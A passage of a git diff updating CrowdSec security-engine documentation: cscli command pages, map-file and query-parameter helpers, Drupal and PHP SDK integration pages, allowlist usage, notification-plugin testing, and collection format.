setup validate + Validate a setup file ### Synopsis diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_simulation.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_simulation.md index c129c12c0..8c9a21bca 100644 --- a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_simulation.md +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_simulation.md @@ -2,8 +2,14 @@ id: cscli_simulation title: cscli simulation --- +## cscli simulation + Manage simulation status of scenarios +``` +cscli simulation [command] [flags] +``` + ### Examples ``` diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_simulation_disable.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_simulation_disable.md index 73ad33570..9d4ad751e 100644 --- a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_simulation_disable.md +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_simulation_disable.md @@ -2,6 +2,8 @@ id: cscli_simulation_disable title: cscli simulation disable --- +## cscli simulation disable + Disable the simulation mode. Disable only specified scenarios ``` diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_simulation_enable.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_simulation_enable.md index f6d9f173a..675bae90b 100644 --- a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_simulation_enable.md +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_simulation_enable.md @@ -2,6 +2,8 @@ id: cscli_simulation_enable title: cscli simulation enable --- +## cscli simulation enable + Enable the simulation, globally or on specified scenarios ``` diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_simulation_status.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_simulation_status.md index 1dca22bcf..cc41cad01 100644 --- a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_simulation_status.md +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_simulation_status.md @@ -2,6 +2,8 @@ id: cscli_simulation_status title: cscli simulation status --- +## cscli simulation status + Show simulation mode status ``` diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_support.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_support.md index 4097b5abb..40a5d9fd1 100644 --- a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_support.md +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_support.md @@ -2,8 +2,14 @@ id: cscli_support title: cscli support --- +## cscli support + Provide commands to help during support +``` +cscli support [action] [flags] +``` + ### Options ``` diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_support_dump.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_support_dump.md index d3c45ac2e..f2a87e19d 100644 --- a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_support_dump.md +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_support_dump.md @@ -2,13 +2,15 @@ id: cscli_support_dump title: cscli support dump --- +## cscli support dump + Dump all your configuration to a zip file for easier support ### Synopsis Dump the following information: - Crowdsec version -- OS version +- OS version and runtime system information - Enabled feature flags - Latest Crowdsec logs (log processor, LAPI, remediation components) - Installed collections, parsers, scenarios... @@ -33,6 +35,7 @@ cscli support dump -f /tmp/crowdsec-support.zip ### Options ``` + --fast Skip slow operations, like cpu profiling -h, --help help for dump -f, --outFile string File to dump the information to ``` diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_version.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_version.md index c488cb1c0..ef89ecad5 100644 --- a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_version.md +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_version.md @@ -2,6 +2,8 @@ id: cscli_version title: cscli version --- +## cscli version + Display version ``` diff --git a/crowdsec-docs/versioned_docs/version-v1.7/expr/file_helpers.md b/crowdsec-docs/versioned_docs/version-v1.7/expr/file_helpers.md index e4b4b7d22..aef65a7b0 100644 --- a/crowdsec-docs/versioned_docs/version-v1.7/expr/file_helpers.md +++ b/crowdsec-docs/versioned_docs/version-v1.7/expr/file_helpers.md @@ -20,4 +20,43 @@ Returns the content of `FileName` as an array of string, while providing cache m Returns `true` if the `StringToMatch` is matched by one of the expressions contained in `FileName` (uses RE2 regexp engine). -> `RegexpInFile( evt.Enriched.reverse_dns, 'my_legit_seo_whitelists.txt')` \ No newline at end of file +> `RegexpInFile( evt.Enriched.reverse_dns, 'my_legit_seo_whitelists.txt')` + +## Map file helpers + +Map file helpers work with JSON-lines files loaded with `type: map` in the [data property](/log_processor/scenarios/format.md#data). Each line in the file is a JSON object with three required fields: + +- `pattern`: the value to match against +- `tag`: the label returned on match +- `type`: one of `equals` (exact match), `contains` (substring match), or `regex` (RE2 regular expression) + +Example map file: + +```json +{"pattern": "/wp-admin/", "tag": "WordPress", "type": "contains"} +{"pattern": "/specific/endpoint.php", "tag": "SpecificApp", "type": "equals"} +{"pattern": "/wp-content/plugins/[^/]+/readme\\.txt", "tag": "WordPress-Plugin", "type": "regex"} +``` + +Comments (lines starting with `#`) and blank lines are ignored. + +### `FileMap(FileName) []map[string]string` + +Returns the content of `FileName` as an array of maps. Each element is a map with the keys from the JSON object (`pattern`, `tag`, `type`). + +> `FileMap('app_signatures.json')` + +> `any(FileMap('app_signatures.json'), { #.tag == 'WordPress' })` + +### `LookupFile(StringToMatch, FileName) string` + +Searches the map file `FileName` for a match against `StringToMatch`. Returns the `tag` of the first matching entry, or an empty string if no match is found. + +Matching is performed in priority order: +1. **Exact match** (`equals` entries) — O(1) hash map lookup +2. **Substring match** (`contains` entries) — using [Aho-Corasick](https://en.wikipedia.org/wiki/Aho%E2%80%93Corasick_algorithm) automaton +3. **Regex match** (`regex` entries) — RE2 regular expressions + +> `LookupFile(evt.Parsed.request, 'app_signatures.json')` + +> `LookupFile(evt.Parsed.request, 'app_signatures.json') != ''` \ No newline at end of file diff --git a/crowdsec-docs/versioned_docs/version-v1.7/expr/strings_helpers.md b/crowdsec-docs/versioned_docs/version-v1.7/expr/strings_helpers.md index 4b4d2c38a..5600925d5 100644 --- a/crowdsec-docs/versioned_docs/version-v1.7/expr/strings_helpers.md +++ b/crowdsec-docs/versioned_docs/version-v1.7/expr/strings_helpers.md @@ -54,6 +54,12 @@ Parses an URI into a map of string list. `QueryEscape` escapes the string so it can be safely placed inside a URL query. +### `ExtractQueryParam(query string, param string) []string` + +`ExtractQueryParam` extract the `param` parameter value from the URL query `query` and returns the list of values. + +> `any(ExtractQueryParam("/foo?id=1&b=2", "id"), { # == "1" })` returns true if at least one of the `id` parameter value is equal to `1` + ### `Sprintf(format string, a ...interface{}) string` [Official doc](https://pkg.go.dev/fmt#Sprintf) : Sprintf formats according to a format specifier and returns the resulting string. diff --git a/crowdsec-docs/versioned_docs/version-v1.7/getting_started/install_drupal_plugin.mdx b/crowdsec-docs/versioned_docs/version-v1.7/getting_started/install_drupal_plugin.mdx new file mode 100644 index 000000000..f616ae46c --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/getting_started/install_drupal_plugin.mdx @@ -0,0 +1,30 @@ +--- +id: install_drupal_plugin +title: Drupal Plugin +sidebar_position: 1 +--- + +The CrowdSec Drupal plugin provides real-time protection against malicious actors by integrating your Drupal site with the CrowdSec security network. + +## Overview + +The Drupal plugin leverages the [PHP Soft Agent](install_php_softagent) to connect your site to CrowdSec's collaborative security ecosystem. This integration allows your Drupal site to: + +- **Detect threats**: Automatically identify brute force attacks and scanning attempts +- **Share intelligence**: Contribute attack data to the global CrowdSec network +- **Receive protection**: Get real-time updates on known malicious IP addresses +- **Block attackers**: Automatically prevent access from validated threats + +## How It Works + +The plugin monitors your Drupal site for suspicious activities, particularly: +- **Brute force attacks** on login forms +- **Scanning attempts** targeting vulnerabilities +- **Suspicious traffic patterns** + +When threats are detected, the plugin signals the CrowdSec network. In return, your site receives continuously updated lists of malicious IPs identified by the global community, providing proactive protection against known attackers. + +## Installation & Configuration + +The plugin works out-of-the-box with minimal configuration thanks to the Drupal Plugin architecture. +For complete installation instructions, configuration options, and troubleshooting guidance, visit the [official Drupal plugin documentation](https://www.drupal.org/project/crowdsec). \ No newline at end of file diff --git a/crowdsec-docs/versioned_docs/version-v1.7/getting_started/install_php_softagent.md b/crowdsec-docs/versioned_docs/version-v1.7/getting_started/install_php_softagent.md new file mode 100644 index 000000000..5e024859d --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/getting_started/install_php_softagent.md @@ -0,0 +1,88 @@ +--- +id: install_php_softagent +title: PHP Soft Agent +sidebar_position: 1 +--- + +# Using our PHP SDK + +With the help of our SDK, If you are developing security software that detects misbehaviors and does remediation on IPs, you can send signals about your detections and benefit from the community blocklist. + +Our SDK do the heavy lifting of the CAPI connectivity so you can simply, sendSignals, getDecisions and getRemediationForIp, as well as enrolling your soft-agent into the console + +![Possible integration](/img/php-libs-crowdsec-overview.jpg) + +## PHP CAPI client + Remediation Engine + +The [php-capi-client](https://github.com/crowdsecurity/php-capi-client) will deal automatically with connecting to CAPI and renewing the token when necessary. +Provides the following public functions: +* pushSignals(array $signals) +* getStreamDecisions() +* enroll(...) + +The [php-remediation-engine](https://github.com/crowdsecurity/php-remediation-engine) is built on top of the php-capi-client and provides decisions caching and querying utility. +This way you can let it worry about the blocklist update and expiration of decisions. +It provides the following public functions: +* getIpRemediation(string $ip) + * Returns the recommended remediation for an IP +* refreshDecisions() + * Called periodically by a cron for example + * Read the [good practices](#good-practices) to know more about the frequency of refreshing + +You can refer to the very detailed Developer and Installation guides linked in the repository to know more about it. + +## Good practices + +### php-capi-client +Via the php-capi-client your soft-agent is identified by CAPI via a randomly generated **machineId** and **password**. +The **machineId** is what links your endpoint to your console account when you enroll. + +The rules are : +* The [**machineId-password**] couple **MUST NOT** change after having been validated by CAPI. +* Do not copy them for your other endpoints: the **machineId** must be unique for your endpoint +* You can configure a **prefix** for the **machineId** if you need to. Once set, avoid changing the **machine_id_prefix** as it will result in resetting the credentials + +### php-remediation-engine + +You will call the decisions-list/blocklist refresh via cron or schedulers. +* Call the decisions-refresh **no more** than once every 2 hours. + * The blocklist is not likely to have drastically changed in 2 hours + * Although too often is not good we still recommend refreshing once a day + +### Your signals + +When you remediate locally a misbehavior, you would generate a signal for the corresponding scenario + +**There are 2 types of signals**: +* decisions: when your security module triggers remediation on an IP (block or captcha) for some misbehaviors (brute force, spam, trying to access a file known for ) +* whispers: behaviors that can seem trivial and may occur only once on your site but might result in identifying a malicious actor if he does the same action on hundreds of sites + +**Examples of decision signals:** +* brute force on login-form +* contact form spam (either by repetition or if you have a way to identify spam content of the sent message like commercial links, known scams ...) +* trying to access a file known for a vulnerability (may it be on your type of system or another) +* credit card stuffing +... + +**Example of Whisper signals** +* 404 + +Please get in touch with us to validate + +When sending signals the name of your scenario must follow this convention **^[a-z0-9_-]+\/[a-z0-9_-]+$** example **mysecmodule/login-bruteforce** + +For categories of behaviors, you can refer to our behaviors list in the [taxonomy ](https://doc.crowdsec.net/docs/next/u/cti_api/taxonomy/#behaviors) + +(!) **Avoid spamming CAPI with signals:** + +Ideally, save them to a buffer and send the buffer periodically +* Frequency of emission: between 10 seconds and 10 minutes depending on how big the buffer gets in that period +* However, don't send more than 250 signals in a single call + +### User-agent + +Via the configuration or the php-capi-client you can set a user-agent. + +This user agent will be set for queries towards CAPI and allow us to do a finer analysis of the signals sent by your security solution. + +See the [User Guide](https://github.com/crowdsecurity/php-capi-client/blob/main/docs/USER_GUIDE.md#user-agent-suffix) for more info \ No newline at end of file diff --git a/crowdsec-docs/versioned_docs/version-v1.7/getting_started/sdk_intro.mdx b/crowdsec-docs/versioned_docs/version-v1.7/getting_started/sdk_intro.mdx index 04679bd9e..a2d46fe37 100644 --- a/crowdsec-docs/versioned_docs/version-v1.7/getting_started/sdk_intro.mdx +++ b/crowdsec-docs/versioned_docs/version-v1.7/getting_started/sdk_intro.mdx @@ -16,6 +16,6 @@ Why Integrate the SDK: ## Supported SDKs * [Python SDK](install_pyagent) -* [PHP SDK](install_softagent) +* [PHP SDK](install_php_softagent) Whether you're building a WAF, SIEM, or a custom security tool, the CrowdSec SDKs make it easy to contribute to and benefit from a collaborative defense network. diff --git a/crowdsec-docs/versioned_docs/version-v1.7/intro.mdx b/crowdsec-docs/versioned_docs/version-v1.7/intro.mdx index 51a617d9a..9ce915992 100644 --- a/crowdsec-docs/versioned_docs/version-v1.7/intro.mdx +++ b/crowdsec-docs/versioned_docs/version-v1.7/intro.mdx @@ -8,9 +8,9 @@ import AcademyPromo from "@site/src/components/academy-promo" # Security Engine Overview -The [CrowdSec Security Engine](https://github.com/crowdsecurity/crowdsec) is an open-source, lightweight software that detects and blocks malicious actors from accessing your systems at various levels, using log and HTTP Requests analysis with threat patterns called scenarios. +The [CrowdSec Security Engine](https://github.com/crowdsecurity/crowdsec) is an open-source, lightweight security engine that detects and blocks malicious actors. It analyzes logs and HTTP requests using behavior-based patterns called scenarios. -CrowdSec is a modular security tool offering [behavior-based detection](https://app.crowdsec.net/hub/collections), including [AppSec rules](https://app.crowdsec.net/hub/appsec-rules), and optional components to block threats called [Remediation Components](https://app.crowdsec.net/hub/bouncers) +CrowdSec is modular: it provides [behavior-based detection](https://app.crowdsec.net/hub/collections), including [AppSec rules](https://app.crowdsec.net/hub/appsec-rules), and optional [Remediation Components](https://app.crowdsec.net/hub/bouncers) that enforce blocks.
@@ -23,20 +23,20 @@ CrowdSec is a modular security tool offering [behavior-based detection](https://
    -The crowd-sourced aspect allows the sharing of attacks they detected and blocked. Participants of this crowd-sourced threat intel receive, automatically via the security engine, a curated list of validated attackers (community blocklist) enhancing their real-time protection capabilities by taking preemptive actions against known threats. +CrowdSec is crowdsourced: when you participate, you share the attacks you detect and block. In return, the Security Engine automatically downloads a curated list of validated attackers (the community blocklist), so you can take action sooner against known threats. ## Main Features In addition to the core "detect and react" mechanism, CrowdSec is committed to several other key aspects: -- **Easy Installation**: Effortless out-of-the-box installation on all [supported platforms](/u/getting_started/intro). -- **Simplified Daily Operations**: You have access to our Web UI administration via [CrowdSec's console](http://app.crowdsec.net) or the powerful [Command line tool cscli](/cscli/cscli.md) for effortless maintenance and keeping your detection mechanisms up-to-date. -- **Reproducibility**: The Security Engine can analyze not only live logs but also [cold logs](/u/user_guides/replay_mode), making it easier to detect potential false triggers, conduct forensic analysis, or generate reports. -- **Versatile**: The Security Engine can analyze [system logs](/log_processor/data_sources/introduction.md) and [HTTP Requests](/appsec/intro.md) to exhaustively protect your perimeter. +- **Easy Installation**: Get started quickly on all [supported platforms](/u/getting_started/intro). +- **Simplified Daily Operations**: Manage and maintain your setup from the [CrowdSec Console](http://app.crowdsec.net) (Web UI) or with the [cscli command-line tool](/cscli/cscli.md). +- **Reproducibility**: Analyze live logs and [cold logs](/u/user_guides/replay_mode) to validate detections, run forensic analysis, or generate reports. +- **Versatile**: Protect your perimeter by analyzing [system logs](/log_processor/data_sources/introduction.md) and [HTTP requests](/appsec/intro.md). - **Observability**: Providing valuable insights into the system's activity: - - Users can view/manage alerts from the ([Console](https://app.crowdsec.net/signup)). - - Operations personnel have access to detailed Prometheus metrics ([Prometheus](/observability/prometheus.md)). - - Administrators can utilize a user-friendly command-line interface tool ([cscli](/observability/cscli.md)). + - View and manage alerts in the [Console](https://app.crowdsec.net/signup). + - Expose detailed [Prometheus metrics](/observability/prometheus.md). + - Use the [cscli CLI](/observability/cscli.md) for administration. - **API-Centric**: All components communicate via an [HTTP API](/local_api/intro.md), facilitating multi-machine setups. ## Architecture @@ -49,23 +49,23 @@ In addition to the core "detect and react" mechanism, CrowdSec is committed to s Under the hood, the Security Engine has various components: -- The [Log Processor](/log_processor/intro.mdx) is in charge of detection: it analyzes logs from [various data sources](/log_processor/data_sources/introduction.md) or [HTTP requests](/appsec/intro.md) from web servers. -- The [Appsec](appsec/intro) feature is part of the Log Processor and filters HTTP Requests from the compatible web servers. -- The [Local API](local_api/intro.md) acts as a middle man: +- The [Log Processor](/log_processor/intro.mdx) handles detection. It analyzes logs from [various data sources](/log_processor/data_sources/introduction.md) and [HTTP requests](/appsec/intro.md) from compatible web servers. +- The [Appsec](appsec/intro) feature is part of the Log Processor. It filters HTTP requests from compatible web servers. +- The [Local API](local_api/intro.md) acts as a middleman: - Between the [Log Processors](/log_processor/intro.mdx) and the [Remediation Components](/u/bouncers/intro) which are in charge of enforcing decisions. - And with the [Central API](/central_api/intro.md) to share alerts and receive blocklists. -- The [Remediation Components](/u/bouncers/intro) - also known as bouncers - block malicious IPs at your chosen level—whether via IpTables, firewalls, web servers, or reverse proxies. [See the full list on our CrowdSec Hub.](https://app.crowdsec.net/hub/remediation-components) +- The [Remediation Components](/u/bouncers/intro) (also called bouncers) block malicious IPs at your chosen level—IpTables, firewalls, web servers, or reverse proxies. [See the full list on the CrowdSec Hub.](https://app.crowdsec.net/hub/remediation-components) ## Deployment options -This architecture allows for both simple/standalone setups, or more distributed ones including as illustrated below: +This architecture supports simple standalone setups and more distributed deployments: -- Single machine ? Follow our [getting started guide](/u/getting_started/intro) -- Multiple machines? Use the [distributed setup guide](/u/user_guides/multiserver_setup) -- Already have a log pit (such as rsyslog or loki)? [Run crowdsec next to it](/u/user_guides/log_centralization), not on the production workloads -- Running Kubernetes? Have a look at [our helm chart](/u/getting_started/installation/kubernetes) -- Running containers? The [docker data source](/log_processor/data_sources/docker.md) might be what you need -- Just looking for a WAF? Look at [our quickstart](appsec/intro) +- Single machine: Follow the [getting started guide](/u/getting_started/intro). +- Multiple machines: Use the [distributed setup guide](/u/user_guides/multiserver_setup). +- Centralized logs (rsyslog, Loki, ...): [Run CrowdSec next to your log pipeline](/u/user_guides/log_centralization), not on production workloads. +- Kubernetes: See [our Helm chart](/u/getting_started/installation/kubernetes). +- Containers: Use the [Docker data source](/log_processor/data_sources/docker.md). +- WAF only: Start with the [AppSec quickstart](appsec/intro). Distributed architecture example: diff --git a/crowdsec-docs/versioned_docs/version-v1.7/local_api/allowlists.md b/crowdsec-docs/versioned_docs/version-v1.7/local_api/allowlists.md index 166e557eb..045897c24 100644 --- a/crowdsec-docs/versioned_docs/version-v1.7/local_api/allowlists.md +++ b/crowdsec-docs/versioned_docs/version-v1.7/local_api/allowlists.md @@ -6,10 +6,16 @@ sidebar_position: 7 # AllowLists -The AllowLists feature in CrowdSec lets users manage IP-based allowlists at the LAPI level, affecting both local decisions and blocklist pulls. [Paying customers can also control AllowLists directly from the console for added convenience](/u/console/allowlists). This ensures greater flexibility in managing trusted IPs while maintaining CrowdSec’s robust security measures. +The AllowLists feature in CrowdSec lets you manage IP-based allowlists at the LAPI level. It affects both local decisions and blocklist pulls, giving you more flexibility to trust specific IPs while keeping CrowdSec security controls in place. +:::tip CrowdSec Premium: Centralized Console Management -The AllowLists affect local decision and blocklist pulls in different ways: +Premium users can manage AllowLists directly from the [CrowdSec Console](/u/console/allowlists), enabling centralized management across multiple Security Engines and Integrations. Console-managed allowlists require subscribing entities (Security Engines, Integrations, or Organizations) after creation. + +::: + + +AllowLists affect local decisions and blocklist pulls in different ways: | Area | Action | Real Time | |-------|------|------| @@ -19,14 +25,14 @@ The AllowLists affect local decision and blocklist pulls in different ways: | cscli | Decision is blocked unless special flag is provided | ✅ | -AllowLists are limited to IP/Range based rules. If you need rules that rely on log elements such as URL and so on, [Parser Whitelists](/log_processor/whitelist/introduction.md) or [Profile Rules](/local_api/profiles/format.md) might more relevant. +AllowLists are limited to IP/range-based rules. If you need rules based on log elements (such as URLs), [Parser Whitelists](/log_processor/whitelist/introduction.md) or [Profile Rules](/local_api/profiles/format.md) might be more relevant. -### Creating an allowlist +## Creating an allowlist -Allowlists creation is done with `cscli allowlists create`, for example: `cscli allowlists create my_allowlistd -d safe_ips`. +Create an allowlist with `cscli allowlists create`, for example: `cscli allowlists create my_allowlist -d safe_ips`. -The `-d` parameter is mandatory, it's a description for the allowlist for future reference: +The `-d` flag is mandatory. It sets a description for future reference: ```bash $ cscli allowlists create my_allowlist --description "test allowlist" allowlist 'my_allowlist' created successfully @@ -34,20 +40,20 @@ allowlist 'my_allowlist' created successfully This command must be run on the LAPI. -### Adding entries to an allowlist +## Adding entries to an allowlist -Adding new entries to an allowlist is done with `cscli allowlists add value_1 value_2 ...`. +Add entries with `cscli allowlists add value_1 value_2 ...`. The allowlist must exist. By default, allowlist entries have no expiration, but you can specify one with the `-e` flag: ```bash -$ cscli allowlist add my_allowlist 1.2.3.4 -e 7d +$ cscli allowlists add my_allowlist 1.2.3.4 -e 7d added 1 values to allowlist my_allowlist ``` -Values can be either IPs or ranges. +Values can be IPs or ranges. You can add an optional description for each entry with the `-d` flag: @@ -56,14 +62,14 @@ $ cscli allowlists add my_allowlist 1.2.3.4 -e 7d -d "pentest IPs" added 1 values to allowlist my_allowlist ``` -You cannot add the same values twice to an allowlist: if you want to edit an entry, you'll need to remove it first then add it again. +You cannot add the same value twice to an allowlist. To edit an entry, remove it first, then add it again. This command must be run on the LAPI. -### Removing entries from an allowlist +## Removing entries from an allowlist -Removing entries from an allowlist is done with `cscli allowlists remove value_1 value_2 ...`: +Remove entries with `cscli allowlists remove value_1 value_2 ...`: ```bash $ cscli allowlists remove my_allowlist 1.2.3.4 removed 1 values from allowlist my_allowlist @@ -72,12 +78,12 @@ removed 1 values from allowlist my_allowlist This command must be run on the LAPI. -### Viewing the content of an allowlist +## Viewing the contents of an allowlist -Allowlists can be inspected with `cscli allowlists inspect `: +Inspect an allowlist with `cscli allowlists inspect `: ```bash -$ cscli allowlist inspect my_allowlist +$ cscli allowlists inspect my_allowlist ────────────────────────────────────────────── Allowlist: my_allowlist @@ -99,9 +105,9 @@ $ cscli allowlist inspect my_allowlist This command can be run on the LAPI or any log processor machine. -### Deleting an allowlist +## Deleting an allowlist -Allowlists can be deleted with `cscli allowlists delete `: +Delete an allowlist with `cscli allowlists delete `: ```bash $ cscli allowlists delete my_allowlist diff --git a/crowdsec-docs/versioned_docs/version-v1.7/local_api/notification_plugins/intro.md b/crowdsec-docs/versioned_docs/version-v1.7/local_api/notification_plugins/intro.md index 0e9d29d74..e1f505466 100644 --- a/crowdsec-docs/versioned_docs/version-v1.7/local_api/notification_plugins/intro.md +++ b/crowdsec-docs/versioned_docs/version-v1.7/local_api/notification_plugins/intro.md @@ -643,6 +643,8 @@ Extract the meta associated with the alerts plugin configuration. Those are provided by the `cscli notifications` command and its subcommands. +For a practical, end-to-end walkthrough, see [Testing notification plugins](/local_api/notification_plugins/testing.md). + | SubCommand | Description | |---------|-------------| | [list](/cscli/cscli_notifications_list.md) | List all notification plugins and their status | diff --git a/crowdsec-docs/versioned_docs/version-v1.7/local_api/notification_plugins/testing.md b/crowdsec-docs/versioned_docs/version-v1.7/local_api/notification_plugins/testing.md new file mode 100644 index 000000000..bd72fd4da --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/local_api/notification_plugins/testing.md @@ -0,0 +1,126 @@ +--- +id: testing +title: Testing notification plugins +--- + +This guide walks through practical ways to validate a notification plugin, from config checks to end-to-end delivery. + +```info +Template updates are picked up by the `cscli notifications` commands while testing. Restart CrowdSec only after you are satisfied with the changes. +``` + +## When to use test vs reinject + +- `cscli notifications test` sends a generic alert directly to a plugin. The plugin does not need to be active in any profile for this to work. +- `cscli notifications reinject` replays a real alert through the profiles pipeline, so filters and profile settings apply. It can also include additional meta fields present in real alerts, which are not part of the generic test alert. + +## Pre-flight checklist + +1. Confirm the plugin binary and config file exist in the directories defined by `config_paths.plugin_dir` and `config_paths.notification_dir`. By default, standard packages already ship these; this check is mainly for custom installations. +2. If you plan to test via profiles (using `reinject`), make sure the plugin config `name` matches the name used in your profile `notifications` list. +3. If the plugin uses environment variables, export them before testing (see [Introduction](/local_api/notification_plugins/intro.md)). + +Example profile snippet: + +```yaml +notifications: + - slackreport +``` + +## Check plugin status and config + +List plugins and ensure yours is enabled: + +```bash +cscli notifications list +``` + +Inspect a specific plugin to confirm the resolved configuration: + +```bash +cscli notifications inspect slackreport +``` + +## Send a direct test notification + +Send a generic alert directly to the plugin: + +```bash +cscli notifications test slackreport +``` + +Override fields in the generic alert to match your formatting or routing logic: + +```bash +cscli notifications test slackreport -a '{"scenario":"notification/test","remediation":true}' +``` + +If your plugin relies on secrets from environment variables, pass them inline or export them in your shell: + +```bash +SMTP_PASSWORD=your_password cscli notifications test email_default +``` + +## Reinject a real alert through profiles + +Find an alert ID to replay using the default table output: + +```bash +cscli alerts list +``` + +Example output: + +``` +cscli alerts list +╭──────┬───────────────────┬────────────────────────────────────────────┬─────────┬──────────────────────┬───────────┬──────────────────────╮ +│ ID │ value │ reason │ country │ as │ decisions │ created_at │ +├──────┼───────────────────┼────────────────────────────────────────────┼─────────┼──────────────────────┼───────────┼──────────────────────┤ +│ 2843 │ Ip:10.0.12.10 │ crowdsecurity/http-probing │ GB │ 64500 ExampleNet │ ban:1 │ 2026-01-13T09:13:25Z │ +│ 2837 │ Ip:10.0.21.71 │ crowdsecurity/http-backdoors-attempts │ GB │ 64501 ExampleCloud │ ban:1 │ 2026-01-13T07:50:53Z │ +│ 2836 │ Ip:10.0.33.50 │ crowdsecurity/http-crawl-non_statics │ GB │ 64502 ExampleHosting │ ban:1 │ 2026-01-13T06:12:26Z │ +╰──────┴───────────────────┴────────────────────────────────────────────┴─────────┴──────────────────────┴───────────┴──────────────────────╯ +``` + +Grab the ID from the `ID` column and use it with `cscli notifications reinject`. + +Reinject the alert through the profiles pipeline: + +```bash +cscli notifications reinject +``` + +Override fields if needed to match your profile filter: + +```bash +cscli notifications reinject -a '{"remediation": true}' +``` + +If nothing is sent, confirm the profile filter matches the alert fields you are setting (for example, `Alert.Remediation == true`). + +## Expected outcomes + +What "success" looks like depends on the plugin: + +- **HTTP/Teams/Telegram/Slack**: a delivered message or a 2xx response from the endpoint. +- **File**: a new line appended to the configured file. +- **Email**: a delivered message or an entry in the SMTP logs. +- **Splunk/Elastic/Sentinel**: a new event ingested in the target index or workspace. + +If you get a response but no visible output, double-check the plugin-specific filters and templates. + +## Make reinject match your profiles + +If your profile filters depend on fields like `scenario`, `remediation`, or the source IP, override them in the reinjected alert: + +```bash +cscli notifications reinject -a '{"scenario":"notification/test","remediation":true,"source":{"value":"10.0.12.10"}}' +``` + +This is useful when your profile uses conditions such as `Alert.Remediation == true` or specific scenarios. + +## Troubleshooting signals + +- Use `--debug` with `cscli` to surface plugin errors or config parsing issues. +- Check the CrowdSec service logs for plugin startup or gRPC errors. +- For file or HTTP-based plugins, verify that the target file or endpoint is being written to. diff --git a/crowdsec-docs/versioned_docs/version-v1.7/log_processor/collections/format.md b/crowdsec-docs/versioned_docs/version-v1.7/log_processor/collections/format.md index ff11eca81..ec6b48a08 100644 --- a/crowdsec-docs/versioned_docs/version-v1.7/log_processor/collections/format.md +++ b/crowdsec-docs/versioned_docs/version-v1.7/log_processor/collections/format.md @@ -4,11 +4,14 @@ title: Format sidebar_position: 2 --- -## Scenario configuration example +## Collection configuration example -```yaml title=/etc/crowdsec/collections/linux.yaml -#the list of parsers it contains +```yaml title="/etc/crowdsec/collections/my-collection.yaml" +# List the Hub items included in this collection. +# Names are the same as in `cscli ... list -a` (for example: `cscli scenarios list -a`). +# +# the list of parsers it contains parsers: - crowdsecurity/syslog-logs - crowdsecurity/geoip-enrich @@ -16,12 +19,21 @@ parsers: #the list of collections it contains collections: - crowdsecurity/sshd +# the list of contexts it contains +# contexts: +# - crowdsecurity/http_base # the list of postoverflows it contains # postoverflows: # - crowdsecurity/seo-bots-whitelist # the list of scenarios it contains # scenarios: # - crowdsecurity/http-crawl-non_statics +# the list of appsec-rules it contains (WAF rules) +# appsec-rules: +# - crowdsecurity/crs +# the list of appsec-configs it contains (WAF configurations) +# appsec-configs: +# - crowdsecurity/virtual-patching description: "core linux support : syslog+geoip+ssh" author: crowdsecurity tags: @@ -40,6 +52,14 @@ parsers: List of parsers to include in the collection. +### `collections` + +```yaml +collections: +``` + +List of collections to include (collections can include other collections). + ### `scenarios` @@ -49,6 +69,16 @@ scenarios: List of scenarios to include in the collection. +### `contexts` + +```yaml +contexts: +``` + +List of alert context definitions to include in the collection. Contexts enrich alerts with additional key/value fields and are stored under the `contexts` directory in the CrowdSec configuration. + +See [Alert Context](/log_processor/alert_context/intro.md) and the `cscli` commands used to manage Hub contexts: [`cscli contexts`](/cscli/cscli_contexts.md). + ### `postoverflows` ```yaml @@ -57,9 +87,27 @@ postoverflows: List of postoverflows to include in the collection. -The `description` is mandatory. +See [Postoverflows](/log_processor/parsers/introduction.mdx#postoverflows). -It is a quick sentence describing what it detects. +### `appsec-rules` + +```yaml +appsec-rules: +``` + +List of AppSec (WAF) rules to include in the collection. + +See [AppSec](/appsec/intro.md) and [`cscli appsec-rules`](/cscli/cscli_appsec-rules.md). + +### `appsec-configs` + +```yaml +appsec-configs: +``` + +List of AppSec configuration items to include in the collection (these define which rules are evaluated and how matches are handled). + +See [AppSec configuration](/appsec/configuration.md) and [`cscli appsec-configs`](/cscli/cscli_appsec-configs.md). ### `description` @@ -87,4 +135,3 @@ tags: ``` List of tags. - diff --git a/crowdsec-docs/versioned_docs/version-v1.7/log_processor/collections/introduction.md b/crowdsec-docs/versioned_docs/version-v1.7/log_processor/collections/introduction.md index bc2608e6a..3ee1c7170 100644 --- a/crowdsec-docs/versioned_docs/version-v1.7/log_processor/collections/introduction.md +++ b/crowdsec-docs/versioned_docs/version-v1.7/log_processor/collections/introduction.md @@ -4,6 +4,31 @@ title: Introduction sidebar_position: 1 --- -Collections are bundle of parsers, scenarios, postoverflows that form a coherent package. +Collections are bundles of detection content that you install together to support a given service or 